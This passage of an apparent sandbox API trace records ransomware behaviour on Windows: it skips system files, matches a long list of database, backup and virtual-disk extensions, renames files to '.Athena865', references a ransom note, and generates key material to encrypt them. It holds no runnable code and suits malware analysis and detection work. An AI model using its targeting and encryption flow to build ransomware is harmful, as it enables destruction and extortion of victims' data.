lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f40800, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x520ac7c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x15f40800, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WDALLLNK.VRD", cAlternateFileName="")) returned 1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2=".") returned 1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="..") returned 1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="windows") returned -1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="bootmgr") returned 1 [0148.512] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="temp") returned 1 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="pagefile.sys") returned 1 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="boot") returned 1 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="ids.txt") returned 1 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="ntuser.dat") returned 1 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="perflogs") returned 1 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2="MSBuild") returned 1 [0148.513] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0148.513] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WDALLLNK.VRD" | out: lpString1="WDALLLNK.VRD") returned="WDALLLNK.VRD" [0148.513] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0148.513] lstrlenW (lpString="Athena865") returned 9 [0148.513] lstrcmpiW (lpString1="LLLNK.VRD", lpString2="Athena865") returned 1 [0148.513] lstrlenW (lpString=".dll") returned 4 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2=".dll") returned 1 [0148.513] lstrlenW (lpString=".lnk") returned 4 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2=".lnk") returned 1 [0148.513] lstrlenW (lpString=".ini") returned 4 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2=".ini") returned 1 [0148.513] lstrlenW (lpString=".sys") returned 4 [0148.513] lstrcmpiW (lpString1="WDALLLNK.VRD", lpString2=".sys") returned 1 [0148.513] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0148.513] lstrlenW (lpString="bak") returned 3 [0148.513] lstrcmpiW (lpString1="VRD", lpString2="bak") returned 1 [0148.513] lstrlenW (lpString="ba_") returned 3 [0148.513] lstrcmpiW (lpString1="VRD", lpString2="ba_") returned 1 [0148.513] lstrlenW (lpString="dbb") returned 3 [0148.513] lstrcmpiW (lpString1="VRD", lpString2="dbb") returned 1 [0148.513] lstrlenW (lpString="vmdk") returned 4 [0148.513] lstrcmpiW (lpString1=".VRD", lpString2="vmdk") returned -1 [0148.513] lstrlenW (lpString="rar") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="rar") returned 1 [0148.514] lstrlenW (lpString="zip") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="zip") returned -1 [0148.514] lstrlenW (lpString="tgz") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="tgz") returned 1 [0148.514] lstrlenW (lpString="vbox") returned 4 [0148.514] lstrcmpiW (lpString1=".VRD", lpString2="vbox") returned -1 [0148.514] lstrlenW (lpString="vdi") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="vdi") returned 1 [0148.514] lstrlenW (lpString="vhd") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="vhd") returned 1 [0148.514] lstrlenW (lpString="vhdx") returned 4 [0148.514] lstrcmpiW (lpString1=".VRD", lpString2="vhdx") returned -1 [0148.514] lstrlenW (lpString="avhd") returned 4 [0148.514] lstrcmpiW (lpString1=".VRD", lpString2="avhd") returned -1 [0148.514] lstrlenW (lpString="db") returned 2 [0148.514] lstrcmpiW (lpString1="RD", lpString2="db") returned 1 [0148.514] lstrlenW (lpString="db2") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="db2") returned 1 [0148.514] lstrlenW (lpString="db3") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="db3") returned 1 [0148.514] lstrlenW (lpString="dbf") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="dbf") returned 1 [0148.514] lstrlenW (lpString="mdf") returned 3 [0148.514] lstrcmpiW (lpString1="VRD", lpString2="mdf") returned 1 [0148.514] lstrlenW (lpString="mdb") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="mdb") returned 1 [0148.515] lstrlenW (lpString="sql") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="sql") returned 1 [0148.515] lstrlenW (lpString="sqlite") returned 6 [0148.515] lstrcmpiW (lpString1="NK.VRD", lpString2="sqlite") returned -1 [0148.515] lstrlenW (lpString="sqlite3") returned 7 [0148.515] lstrcmpiW (lpString1="LNK.VRD", lpString2="sqlite3") returned -1 [0148.515] lstrlenW (lpString="sqlitedb") returned 8 [0148.515] lstrcmpiW (lpString1="LLNK.VRD", lpString2="sqlitedb") returned -1 [0148.515] lstrlenW (lpString="xml") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="xml") returned -1 [0148.515] lstrlenW (lpString="$er") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="$er") returned 1 [0148.515] lstrlenW (lpString="4dd") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="4dd") returned 1 [0148.515] lstrlenW (lpString="4dl") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="4dl") returned 1 [0148.515] lstrlenW (lpString="^^^") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="^^^") returned 1 [0148.515] lstrlenW (lpString="abs") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="abs") returned 1 [0148.515] lstrlenW (lpString="abx") returned 3 [0148.515] lstrcmpiW (lpString1="VRD", lpString2="abx") returned 1 [0148.515] lstrlenW (lpString="accdb") returned 5 [0148.515] lstrcmpiW (lpString1="K.VRD", lpString2="accdb") returned 1 [0148.515] lstrlenW (lpString="accdc") returned 5 [0148.515] lstrcmpiW (lpString1="K.VRD", lpString2="accdc") returned 1 [0148.515] lstrlenW (lpString="accde") returned 5 [0148.515] lstrcmpiW (lpString1="K.VRD", lpString2="accde") returned 1 [0148.516] lstrlenW (lpString="accdr") returned 5 [0148.516] lstrcmpiW (lpString1="K.VRD", lpString2="accdr") returned 1 [0148.516] lstrlenW (lpString="accdt") returned 5 [0148.516] lstrcmpiW (lpString1="K.VRD", lpString2="accdt") returned 1 [0148.516] lstrlenW (lpString="accdw") returned 5 [0148.516] lstrcmpiW (lpString1="K.VRD", lpString2="accdw") returned 1 [0148.516] lstrlenW (lpString="accft") returned 5 [0148.516] lstrcmpiW (lpString1="K.VRD", lpString2="accft") returned 1 [0148.516] lstrlenW (lpString="adb") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0148.516] lstrlenW (lpString="adb") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="adb") returned 1 [0148.516] lstrlenW (lpString="ade") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="ade") returned 1 [0148.516] lstrlenW (lpString="adf") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="adf") returned 1 [0148.516] lstrlenW (lpString="adn") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="adn") returned 1 [0148.516] lstrlenW (lpString="adp") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="adp") returned 1 [0148.516] lstrlenW (lpString="alf") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="alf") returned 1 [0148.516] lstrlenW (lpString="ask") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="ask") returned 1 [0148.516] lstrlenW (lpString="btr") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="btr") returned 1 [0148.516] lstrlenW (lpString="cat") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="cat") returned 1 [0148.516] lstrlenW (lpString="cdb") returned 3 [0148.516] lstrcmpiW (lpString1="VRD", lpString2="cdb") returned 1 [0148.516] lstrlenW (lpString="ckp") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="ckp") returned 1 [0148.517] lstrlenW (lpString="cma") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="cma") returned 1 [0148.517] lstrlenW (lpString="cpd") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="cpd") returned 1 [0148.517] lstrlenW (lpString="dacpac") returned 6 [0148.517] lstrcmpiW (lpString1="NK.VRD", lpString2="dacpac") returned 1 [0148.517] lstrlenW (lpString="dad") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="dad") returned 1 [0148.517] lstrlenW (lpString="dadiagrams") returned 10 [0148.517] lstrcmpiW (lpString1="ALLLNK.VRD", lpString2="dadiagrams") returned -1 [0148.517] lstrlenW (lpString="daschema") returned 8 [0148.517] lstrcmpiW (lpString1="LLNK.VRD", lpString2="daschema") returned 1 [0148.517] lstrlenW (lpString="db-journal") returned 10 [0148.517] lstrcmpiW (lpString1="ALLLNK.VRD", lpString2="db-journal") returned -1 [0148.517] lstrlenW (lpString="db-shm") returned 6 [0148.517] lstrcmpiW (lpString1="NK.VRD", lpString2="db-shm") returned 1 [0148.517] lstrlenW (lpString="db-wal") returned 6 [0148.517] lstrcmpiW (lpString1="NK.VRD", lpString2="db-wal") returned 1 [0148.517] lstrlenW (lpString="dbc") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="dbc") returned 1 [0148.517] lstrlenW (lpString="dbs") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="dbs") returned 1 [0148.517] lstrlenW (lpString="dbt") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="dbt") returned 1 [0148.517] lstrlenW (lpString="dbv") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="dbv") returned 1 [0148.517] lstrlenW (lpString="dbx") returned 3 [0148.517] lstrcmpiW (lpString1="VRD", lpString2="dbx") returned 1 [0148.517] lstrlenW (lpString="dcb") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dcb") returned 1 [0148.518] lstrlenW (lpString="dct") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dct") returned 1 [0148.518] lstrlenW (lpString="dcx") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dcx") returned 1 [0148.518] lstrlenW (lpString="ddl") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="ddl") returned 1 [0148.518] lstrlenW (lpString="dlis") returned 4 [0148.518] lstrcmpiW (lpString1=".VRD", lpString2="dlis") returned -1 [0148.518] lstrlenW (lpString="dp1") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dp1") returned 1 [0148.518] lstrlenW (lpString="dqy") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dqy") returned 1 [0148.518] lstrlenW (lpString="dsk") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dsk") returned 1 [0148.518] lstrlenW (lpString="dsn") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dsn") returned 1 [0148.518] lstrlenW (lpString="dtsx") returned 4 [0148.518] lstrcmpiW (lpString1=".VRD", lpString2="dtsx") returned -1 [0148.518] lstrlenW (lpString="dxl") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="dxl") returned 1 [0148.518] lstrlenW (lpString="eco") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="eco") returned 1 [0148.518] lstrlenW (lpString="ecx") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="ecx") returned 1 [0148.518] lstrlenW (lpString="edb") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="edb") returned 1 [0148.518] lstrlenW (lpString="epim") returned 4 [0148.518] lstrcmpiW (lpString1=".VRD", lpString2="epim") returned -1 [0148.518] lstrlenW (lpString="fcd") returned 3 [0148.518] lstrcmpiW (lpString1="VRD", lpString2="fcd") returned 1 [0148.519] lstrlenW (lpString="fdb") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fdb") returned 1 [0148.519] lstrlenW (lpString="fic") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fic") returned 1 [0148.519] lstrlenW (lpString="flexolibrary") returned 12 [0148.519] lstrlenW (lpString="fm5") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fm5") returned 1 [0148.519] lstrlenW (lpString="fmp") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fmp") returned 1 [0148.519] lstrlenW (lpString="fmp12") returned 5 [0148.519] lstrcmpiW (lpString1="K.VRD", lpString2="fmp12") returned 1 [0148.519] lstrlenW (lpString="fmpsl") returned 5 [0148.519] lstrcmpiW (lpString1="K.VRD", lpString2="fmpsl") returned 1 [0148.519] lstrlenW (lpString="fol") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fol") returned 1 [0148.519] lstrlenW (lpString="fp3") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fp3") returned 1 [0148.519] lstrlenW (lpString="fp4") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fp4") returned 1 [0148.519] lstrlenW (lpString="fp5") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fp5") returned 1 [0148.519] lstrlenW (lpString="fp7") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fp7") returned 1 [0148.519] lstrlenW (lpString="fpt") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="fpt") returned 1 [0148.519] lstrlenW (lpString="frm") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="frm") returned 1 [0148.519] lstrlenW (lpString="gdb") returned 3 [0148.519] lstrcmpiW (lpString1="VRD", lpString2="gdb") returned 1 [0148.520] lstrlenW (lpString="gdb") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="gdb") returned 1 [0148.520] lstrlenW (lpString="grdb") returned 4 [0148.520] lstrcmpiW (lpString1=".VRD", lpString2="grdb") returned -1 [0148.520] lstrlenW (lpString="gwi") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="gwi") returned 1 [0148.520] lstrlenW (lpString="hdb") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="hdb") returned 1 [0148.520] lstrlenW (lpString="his") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="his") returned 1 [0148.520] lstrlenW (lpString="ib") returned 2 [0148.520] lstrcmpiW (lpString1="RD", lpString2="ib") returned 1 [0148.520] lstrlenW (lpString="idb") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="idb") returned 1 [0148.520] lstrlenW (lpString="ihx") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="ihx") returned 1 [0148.520] lstrlenW (lpString="itdb") returned 4 [0148.520] lstrcmpiW (lpString1=".VRD", lpString2="itdb") returned -1 [0148.520] lstrlenW (lpString="itw") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="itw") returned 1 [0148.520] lstrlenW (lpString="jet") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="jet") returned 1 [0148.520] lstrlenW (lpString="jtx") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="jtx") returned 1 [0148.520] lstrlenW (lpString="kdb") returned 3 [0148.520] lstrcmpiW (lpString1="VRD", lpString2="kdb") returned 1 [0148.520] lstrlenW (lpString="kexi") returned 4 [0148.520] lstrcmpiW (lpString1=".VRD", lpString2="kexi") returned -1 [0148.520] lstrlenW (lpString="kexic") returned 5 [0148.521] lstrcmpiW (lpString1="K.VRD", lpString2="kexic") returned -1 [0148.521] lstrlenW (lpString="kexis") returned 5 [0148.521] lstrcmpiW (lpString1="K.VRD", lpString2="kexis") returned -1 [0148.521] lstrlenW (lpString="lgc") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="lgc") returned 1 [0148.521] lstrlenW (lpString="lwx") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="lwx") returned 1 [0148.521] lstrlenW (lpString="maf") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="maf") returned 1 [0148.521] lstrlenW (lpString="maq") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="maq") returned 1 [0148.521] lstrlenW (lpString="mar") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="mar") returned 1 [0148.521] lstrlenW (lpString="marshal") returned 7 [0148.521] lstrcmpiW (lpString1="LNK.VRD", lpString2="marshal") returned -1 [0148.521] lstrlenW (lpString="mas") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="mas") returned 1 [0148.521] lstrlenW (lpString="mav") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="mav") returned 1 [0148.521] lstrlenW (lpString="maw") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="maw") returned 1 [0148.521] lstrlenW (lpString="mdbhtml") returned 7 [0148.521] lstrcmpiW (lpString1="LNK.VRD", lpString2="mdbhtml") returned -1 [0148.521] lstrlenW (lpString="mdn") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="mdn") returned 1 [0148.521] lstrlenW (lpString="mdt") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="mdt") returned 1 [0148.521] lstrlenW (lpString="mfd") returned 3 [0148.521] lstrcmpiW (lpString1="VRD", lpString2="mfd") returned 1 [0148.521] lstrlenW (lpString="mpd") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="mpd") returned 1 [0148.522] lstrlenW (lpString="mrg") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="mrg") returned 1 [0148.522] lstrlenW (lpString="mud") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="mud") returned 1 [0148.522] lstrlenW (lpString="mwb") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="mwb") returned 1 [0148.522] lstrlenW (lpString="myd") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="myd") returned 1 [0148.522] lstrlenW (lpString="ndf") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="ndf") returned 1 [0148.522] lstrlenW (lpString="nnt") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="nnt") returned 1 [0148.522] lstrlenW (lpString="nrmlib") returned 6 [0148.522] lstrcmpiW (lpString1="NK.VRD", lpString2="nrmlib") returned -1 [0148.522] lstrlenW (lpString="ns2") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="ns2") returned 1 [0148.522] lstrlenW (lpString="ns3") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="ns3") returned 1 [0148.522] lstrlenW (lpString="ns4") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="ns4") returned 1 [0148.522] lstrlenW (lpString="nsf") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="nsf") returned 1 [0148.522] lstrlenW (lpString="nv") returned 2 [0148.522] lstrcmpiW (lpString1="RD", lpString2="nv") returned 1 [0148.522] lstrlenW (lpString="nv2") returned 3 [0148.522] lstrcmpiW (lpString1="VRD", lpString2="nv2") returned 1 [0148.522] lstrlenW (lpString="nwdb") returned 4 [0148.522] lstrcmpiW (lpString1=".VRD", lpString2="nwdb") returned -1 [0148.523] lstrlenW (lpString="nyf") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="nyf") returned 1 [0148.523] lstrlenW (lpString="odb") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="odb") returned 1 [0148.523] lstrlenW (lpString="odb") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="odb") returned 1 [0148.523] lstrlenW (lpString="oqy") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="oqy") returned 1 [0148.523] lstrlenW (lpString="ora") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="ora") returned 1 [0148.523] lstrlenW (lpString="orx") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="orx") returned 1 [0148.523] lstrlenW (lpString="owc") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="owc") returned 1 [0148.523] lstrlenW (lpString="p96") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="p96") returned 1 [0148.523] lstrlenW (lpString="p97") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="p97") returned 1 [0148.523] lstrlenW (lpString="pan") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="pan") returned 1 [0148.523] lstrlenW (lpString="pdb") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="pdb") returned 1 [0148.523] lstrlenW (lpString="pdm") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="pdm") returned 1 [0148.523] lstrlenW (lpString="pnz") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="pnz") returned 1 [0148.523] lstrlenW (lpString="qry") returned 3 [0148.523] lstrcmpiW (lpString1="VRD", lpString2="qry") returned 1 [0148.523] lstrlenW (lpString="qvd") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="qvd") returned 1 [0148.524] lstrlenW (lpString="rbf") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="rbf") returned 1 [0148.524] lstrlenW (lpString="rctd") returned 4 [0148.524] lstrcmpiW (lpString1=".VRD", lpString2="rctd") returned -1 [0148.524] lstrlenW (lpString="rod") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="rod") returned 1 [0148.524] lstrlenW (lpString="rodx") returned 4 [0148.524] lstrcmpiW (lpString1=".VRD", lpString2="rodx") returned -1 [0148.524] lstrlenW (lpString="rpd") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="rpd") returned 1 [0148.524] lstrlenW (lpString="rsd") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="rsd") returned 1 [0148.524] lstrlenW (lpString="sas7bdat") returned 8 [0148.524] lstrcmpiW (lpString1="LLNK.VRD", lpString2="sas7bdat") returned -1 [0148.524] lstrlenW (lpString="sbf") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="sbf") returned 1 [0148.524] lstrlenW (lpString="scx") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="scx") returned 1 [0148.524] lstrlenW (lpString="sdb") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="sdb") returned 1 [0148.524] lstrlenW (lpString="sdc") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="sdc") returned 1 [0148.524] lstrlenW (lpString="sdf") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="sdf") returned 1 [0148.524] lstrlenW (lpString="sis") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="sis") returned 1 [0148.524] lstrlenW (lpString="spq") returned 3 [0148.524] lstrcmpiW (lpString1="VRD", lpString2="spq") returned 1 [0148.524] lstrlenW (lpString="te") returned 2 [0148.525] lstrcmpiW (lpString1="RD", lpString2="te") returned -1 [0148.525] lstrlenW (lpString="teacher") returned 7 [0148.525] lstrcmpiW (lpString1="LNK.VRD", lpString2="teacher") returned -1 [0148.525] lstrlenW (lpString="tmd") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="tmd") returned 1 [0148.525] lstrlenW (lpString="tps") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="tps") returned 1 [0148.525] lstrlenW (lpString="trc") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="trc") returned 1 [0148.525] lstrlenW (lpString="trc") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="trc") returned 1 [0148.525] lstrlenW (lpString="trm") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="trm") returned 1 [0148.525] lstrlenW (lpString="udb") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="udb") returned 1 [0148.525] lstrlenW (lpString="udl") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="udl") returned 1 [0148.525] lstrlenW (lpString="usr") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="usr") returned 1 [0148.525] lstrlenW (lpString="v12") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="v12") returned 1 [0148.525] lstrlenW (lpString="vis") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="vis") returned 1 [0148.525] lstrlenW (lpString="vpd") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="vpd") returned 1 [0148.525] lstrlenW (lpString="vvv") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="vvv") returned -1 [0148.525] lstrlenW (lpString="wdb") returned 3 [0148.525] lstrcmpiW (lpString1="VRD", lpString2="wdb") returned -1 [0148.525] lstrlenW (lpString="wmdb") returned 4 [0148.525] lstrcmpiW (lpString1=".VRD", lpString2="wmdb") returned -1 [0148.526] lstrlenW (lpString="wrk") returned 3 [0148.526] lstrcmpiW (lpString1="VRD", lpString2="wrk") returned -1 [0148.526] lstrlenW (lpString="xdb") returned 3 [0148.526] lstrcmpiW (lpString1="VRD", lpString2="xdb") returned -1 [0148.526] lstrlenW (lpString="xld") returned 3 [0148.526] lstrcmpiW (lpString1="VRD", lpString2="xld") returned -1 [0148.526] lstrlenW (lpString="xmlff") returned 5 [0148.526] lstrcmpiW (lpString1="K.VRD", lpString2="xmlff") returned -1 [0148.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.Athena865") returned 70 [0148.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.athena865"), dwFlags=0x1) returned 1 [0148.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.529] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1940) returned 1 [0148.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.529] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.530] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.530] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.530] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaa0, lpName=0x0) returned 0x17c [0148.531] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaa0) returned 0x100000 [0148.532] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.533] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.533] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 